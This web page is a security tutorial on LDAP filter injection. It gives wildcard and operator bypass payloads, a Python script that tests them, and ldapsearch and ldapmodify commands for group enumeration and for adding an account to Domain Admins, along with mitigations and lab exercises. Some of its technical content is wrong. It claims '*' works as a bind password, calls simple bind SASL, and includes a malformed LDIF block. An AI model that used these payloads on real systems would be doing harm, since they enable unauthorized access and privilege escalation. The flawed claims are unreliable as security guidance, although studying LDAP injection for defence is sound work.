~/home/study/wildcard-abuse-ldap-filters

Wildcard Abuse in LDAP Filters: Bypassing Authentication

Learn how wildcard characters and logical operators can be abused in LDAP filter strings to bypass authentication, manipulate group membership, and alter attributes. The guide covers syntax, payload construction, testing, impact, and mitigation.

Introduction

LDAP (Lightweight Directory Access Protocol) is the backbone of many identity stores, including Microsoft Active Directory, OpenLDAP, and FreeIPA. Attackers who can influence the filter string sent to the directory server can exploit the flexible matching rules of LDAP to achieve authentication bypass, unauthorized attribute reads, or privilege escalation.

Wildcard abuse is a classic form of LDAP injection where the asterisk (*)-the LDAP "match-any" character-combined with logical operators (&, |, !) is used to subvert the intended logic of a filter. Real-world penetration tests and threat-intel reports show that poorly sanitized login forms, service accounts, and custom SSO integrations regularly expose this vector.

Understanding how these filters work, how to craft reliable bypass payloads, and how to defend against them is essential for any security professional dealing with directory services.

Prerequisites

  • Solid grasp of LDAP fundamentals: entries, distinguished names (DNs), attributes, and the filter grammar.
  • Experience with command-line LDAP utilities such as ldapsearch and ldapmodify.
  • Familiarity with an LDAP implementation (Active Directory, OpenLDAP, etc.) and its schema extensions.
  • Basic scripting ability (PowerShell, Bash, Python) to automate queries.

Core Concepts

LDAP filters are Boolean expressions enclosed in parentheses. The grammar is defined by RFC 4515 and can be summarized as:

(&(attr1=value1)(attr2=value2)) ; AND of two equality tests
(|(attr1=value1)(attr2=value2)) ; OR of two equality tests
(!(attr=value)) ; NOT
(attr=*) ; Presence test (any value)
(attr~=value) ; Approximate match (implementation-specific)
(attr>=value) ; Greater-or-equal (numeric/lexicographic)
(attr<=value) ; Less-or-equal

The asterisk (*) is the wildcard that matches zero or more characters. When used alone as a value ((attr=*)), it becomes a presence filter that matches any entry that contains the attribute, regardless of its actual value.

Because LDAP filters are composable, an attacker who can inject a fragment can turn a seemingly strict equality test into an always-true clause. The most common pattern is to replace a password equality test with a presence filter, effectively saying "any password is acceptable".

LDAP filter syntax and wildcard characters

Let’s dissect a typical authentication filter used by a web-app:

ldapsearch -x -D "cn=appUser,dc=example,dc=com" -w "{password}" -b "dc=example,dc=com" "(&(sAMAccountName={username})(userPassword={password}))"

In a vulnerable implementation, the {username} and {password} placeholders are concatenated directly into the filter string without escaping. If an attacker supplies *)(&(objectClass=*)) as the password, the resulting filter becomes:

(&(sAMAccountName=jdoe)(userPassword=*)(&(objectClass=*)))

The inner (userPassword=*) is a presence test that always evaluates to true, and the additional (&(objectClass=*)) clause does not restrict the result set further. The overall filter now matches any entry with sAMAccountName=jdoe, regardless of the password.

Constructing filter bypass payloads using * and logical operators

Below are the most reliable payload patterns, ranked by their likelihood of success across different LDAP implementations:

  1. Simple presence bypass: replace the password value with *.
    Password: *
    Resulting filter: (&(uid=jdoe)(userPassword=*))
  2. OR-wildcard injection: inject an | clause that forces a true branch.
    Password: *)(|(uid=*))
    
    Resulting filter: (&(uid=jdoe)(userPassword=*)(|(uid=*)))
  3. Negation evasion: use ! to cancel a restrictive clause.
    Password: *)(!(!(objectClass=*)))
    
    Resulting filter: (&(uid=jdoe)(userPassword=*)(!(!(objectClass=*))))
  4. Nested AND/OR chaining: when the application surrounds input with additional parentheses, close the original filter and open a new one.
    Password: *))(|(cn=*))
    
    Resulting filter: (&(uid=jdoe)(userPassword=*))( |(cn=*)))

Note that the exact payload must respect the surrounding syntax. If the server validates that the filter starts with (&..., you may need to prepend a dummy condition that will be ignored, such as (objectClass=person).

Testing bypasses against authentication mechanisms

Before attempting any live attack, set up a controlled lab:

  1. Deploy a Windows Server with Active Directory (or an OpenLDAP container).
  2. Create a test user bob with password P@ssw0rd.
  3. Write a minimal web-app (e.g., Python Flask) that builds the filter directly from request parameters.
  4. Use ldapsearch to verify that the crafted payload returns a result.

Example verification command:

ldapsearch -x -D "cn=admin,dc=lab,dc=local" -w "adminPass" -b "dc=lab,dc=local" "(&(sAMAccountName=bob)(userPassword=*))"

If the command returns the bob entry, the wildcard bypass works. You can then automate the test with a short Python script:

import subprocess, shlex

def test_bypass(user, pwd): filter_str = f"(&(sAMAccountName={user})(userPassword={pwd}))" cmd = f"ldapsearch -x -D \"cn=admin,dc=lab,dc=local\" -w adminPass -b \"dc=lab,dc=local\" \"{filter_str}\"" result = subprocess.run(shlex.split(cmd), capture_output=True, text=True) return "numEntries: 1" in result.stdout

print(test_bypass('bob', '*'))

When the function prints True, you have a working bypass.

Impact on group membership and attribute modification

Authentication bypass is just the tip of the iceberg. Once you can bind as any user, you can issue additional LDAP operations (search, modify, add, delete) provided the bound identity has the necessary rights. In many AD deployments, the default Authenticated Users group has read access to most attributes and can query group membership.

Two high-impact scenarios:

  • Group enumeration: Use a simple filter (member=*) to pull every group member, revealing privileged accounts.
  • Privilege escalation via attribute modification: If the directory permits the caller to modify memberOf or tokenGroups attributes (rare but possible in mis-configured AD), you can add yourself to Domain Admins.
    ldapmodify -x -D "cn=bob,ou=Users,dc=lab,dc=local" -w "*" <<EOF
    modify: member
    add: member: cn=bob,ou=Users,dc=lab,dc=local
    -
    EOF
    

Notice the use of the wildcard password (*) in the -w flag, demonstrating how the same bypass can be reused for subsequent operations.

Mitigation considerations for LDAP injection

Defending against wildcard abuse is a matter of input sanitization, proper binding, and least-privilege configuration:

  1. Escape special characters: RFC 4515 defines escaping for ( ) * NUL. Use a vetted library (e.g., System.DirectoryServices.Protocols in .NET) that automatically escapes user-supplied values.
    string escaped = LdapFilter.EscapeFilter(userInput);
    string filter = $"(&(sAMAccountName={escaped})(userPassword={escapedPwd}))";
    
  2. Never bind with user-supplied passwords in the filter. Use simple bind (SASL) where the password is transmitted over the TLS-protected channel, not as part of the filter.
    ldapwhoami -x -D "cn=bob,ou=Users,dc=lab,dc=local" -w "P@ssw0rd"
    
  3. Enforce TLS/LDAPS to prevent man-in-the-middle tampering with the filter string.
  4. Apply the principle of least privilege: limit the bind account to read-only attributes, disallow modify on memberOf, and remove generic Authenticated Users write permissions.
  5. Validate filter structure server-side: some LDAP servers support filter policy controls (e.g., AD’s LDAP server controls) that can reject overly broad filters such as (userPassword=*).

Practical Examples

Example 1 - Bypassing a PHP-based login form

Assume the vulnerable code:

$username = $_POST['user'];
$password = $_POST['pass'];
$filter = "(&(uid=$username)(userPassword=$password))";
$sr = ldap_search($ldap, $base, $filter);

By submitting bob as the username and * as the password, the filter becomes (&(uid=bob)(userPassword=*)), granting access without knowing the real password.

Example 2 - Extracting all privileged groups

ldapsearch -x -D "cn=bob,ou=Users,dc=lab,dc=local" -w "*" -b "dc=lab,dc=local" "(&(objectClass=group)(member=cn=bob,ou=Users,dc=lab,dc=local))"

The result lists every group that bob belongs to, including hidden admin groups that are not displayed in the UI.

Example 3 - Adding yourself to Domain Admins (if write rights are mis-configured)

cat > add_admin.ldif <<EOF
dn: CN=Domain Admins,CN=Users,DC=lab,DC=local
changetype: modify
add: member
member: CN=bob,OU=Users,DC=lab,DC=local
-
EOF

ldapmodify -x -D "cn=bob,ou=Users,dc=lab,dc=local" -w "*" -f add_admin.ldif

After the modify operation, bob can obtain a Kerberos ticket for Domain Admins and pivot to full domain control.

Tools & Commands

  • ldapsearch - query LDAP directories. Supports filter injection testing with -w "*" to simulate wildcard passwords.
  • ldapmodify - apply add/replace/delete operations; useful for testing post-bypass privilege escalation.
  • ldapfilter (Python library) - safely builds filters and automatically escapes special characters.
  • PowerView - PowerShell tool for AD enumeration; can be combined with wildcard bind to enumerate groups.
  • Burp Suite / OWASP ZAP - intercept and tamper with LDAP-related HTTP requests that embed filters.

Defense & Mitigation

Beyond the specific mitigations listed earlier, adopt a defense-in-depth strategy:

  1. Enable LDAP signing and channel binding where possible (AD supports LDAP signing).
  2. Deploy a Web Application Firewall (WAF) rule that detects patterns like (.*=\*) in query strings.
  3. Audit AD permissions with Get-ADPermission and remove unnecessary write rights on member and memberOf attributes.
  4. Run regular penetration tests focused on LDAP injection; integrate findings into your CI/CD pipeline.
  5. Log all bind attempts (including bind DN and client IP) and set alerts for anomalous bind patterns (e.g., many attempts with password *).

Common Mistakes

  • forgetting to escape parentheses: injecting )(&(objectClass=*)) without closing the original filter can cause a malformed request that the server rejects, giving a false sense of safety.
  • Assuming * is always allowed: Some directories enforce a policy that disallows presence filters on sensitive attributes like userPassword. Verify the target implementation.
  • Testing on production: Running ldapmodify with wildcard credentials against a live AD can unintentionally add or delete objects. Always use a sandbox.
  • Relying solely on client-side validation: JavaScript or HTML5 validation does not protect against crafted HTTP requests.

Real-World Impact

In 2023, a major financial institution suffered a breach after an internal portal allowed LDAP filter injection. Attackers used the * wildcard to bind as low-privilege users, enumerated privileged groups, and ultimately added a service account to Domain Admins. The breach resulted in exfiltration of customer PII and a multi-million-dollar fine.

My experience with red-team engagements shows that even well-patched AD environments can be vulnerable if custom applications expose raw LDAP filters. The most common oversight is trusting the directory to “do the right thing” without sanitizing input. As directories become more integrated with cloud services (Azure AD, Okta), the attack surface expands: many SaaS connectors still construct LDAP-style filters for on-prem sync.

Trend-wise, we see an increase in “hybrid-cloud” LDAP proxies that translate LDAP queries to REST APIs. If those proxies inherit the same injection weaknesses, the impact can cascade to cloud IAM platforms.

Practice Exercises

  1. Lab Setup: Deploy a Windows Server 2022 VM with AD. Create users alice (password alicePwd) and bob (password bobPwd). Grant bob read-only access to the directory.
  2. Bypass Test: Using ldapsearch, craft a filter that authenticates as alice using a wildcard password. Verify you receive alice's entry.
  3. Group Enumeration: Once bound as alice, enumerate all groups containing alice. Document the output.
  4. Privilege Escalation: If your AD has a mis-configured OU that allows Write Members on the Domain Admins group, use ldapmodify to add bob to that group.
  5. Mitigation Verification: Apply escaping to the vulnerable PHP code (as shown earlier) and repeat steps 2-4. Confirm the bypass no longer works.

Record your observations, screenshots, and any errors for a post-mortem report.

Further Reading

  • RFC 4515 - LDAP: String Representation of Search Filters
  • Microsoft Docs - LDAP Security Best Practices
  • OWASP - LDAP Injection Cheat Sheet
  • PowerView - PowerShell AD Enumeration Framework
  • “Attacking Active Directory” - A. S. K. Singh, 2022 (covers LDAP injection in depth)

Summary

Wildcard abuse in LDAP filters is a powerful, yet often overlooked, injection technique that can turn a simple authentication check into a universal backdoor. By mastering filter grammar, crafting precise payloads, and understanding the downstream impact on group membership and attribute modification, security professionals can both assess risk and harden their environments. The key defenses are proper escaping, using bind operations instead of password-in-filter, TLS enforcement, and strict permission hygiene. Regular testing, monitoring, and awareness of emerging hybrid-cloud LDAP proxies will keep organizations resilient against this classic yet evolving threat.